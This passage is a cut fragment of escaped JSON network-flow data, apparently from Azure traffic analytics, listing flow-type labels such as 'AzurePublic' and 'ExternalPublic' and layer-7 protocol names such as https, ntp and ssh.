blic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"IntraVNet\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"AzurePublic\",\"IntraVNet\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"IntraVNet\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"IntraVNet\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"IntraVNet\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"AzurePublic\",\"ExternalPublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"AzurePublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"ExternalPublic\",\"ExternalPublic\"],\"L7Protocol\":[\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"http\",\"ntp\",\"https\",\"https\",\"https\",\"ntp\",\"http\",\"http\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"http\",\"http\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"http\",\"http\",\"https\",\"https\",\"https\",\"ntp\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"http\",\"http\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"http\",\"http\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"http\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"http\",\"http\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"ntp\",\"https\",\"http\",\"http\",\"https\",\"https\",\"https\",\"https\",\"https\",\"http\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"http\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"http\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"http\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"http\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"http\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"microsoft-ds\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"https\",\"ssh\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"http\",\"http\",\"ssh\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"https\",\"https\",\"https\",\"ssh\",\"https\",\"https\",\"http\",\"https\",\"https\",\"https\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"http\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"ftp\",\"https\",\"https\",\"microsoft-ds\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"http\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"http\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"http\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"http\",\"http\",\"http\",\"https\",\"https\",\"ntp\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"ntp\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"https\",\"http\",\"http\",